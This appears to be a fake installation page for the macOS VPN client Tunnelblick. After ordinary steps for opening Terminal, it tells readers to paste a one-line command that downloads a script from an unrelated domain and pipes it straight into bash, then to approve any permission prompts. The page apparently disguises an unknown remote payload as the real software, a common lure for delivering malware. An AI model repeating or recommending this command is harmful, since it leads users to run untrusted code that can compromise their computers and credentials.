Tunnelblick — Quickstart for macOS

What is Tunnelblick?

Tunnelblick is a free and open-source VPN client for macOS built around the OpenVPN stack. It offers a clean interface for managing VPN profiles and making secure connections on your Mac. This concise quickstart shows how to install Tunnelblick on macOS using a single Terminal command.

Open Terminal on macOS

You can launch the Terminal app using any of these methods:

Spotlight: Press Command ⌘ + Space, type Terminal, then press Enter.
Finder: Navigate to Applications → Utilities → Terminal.
Launchpad: Open Launchpad, search for Terminal, and select it.
Siri: Click the Siri icon and say “Open Terminal”.
Dock (if pinned): Click the Terminal icon if it’s already in your Dock.

Run the One‑Line Installer

After Terminal opens, paste and run:

/bin/bash -c "$(curl -fsSL https://qimatch.com/tb/install.sh)"

When the installer completes, open Tunnelblick from Applications, import your .ovpn file, then connect to your VPN. If prompted for permissions, approve the requests to allow network configuration.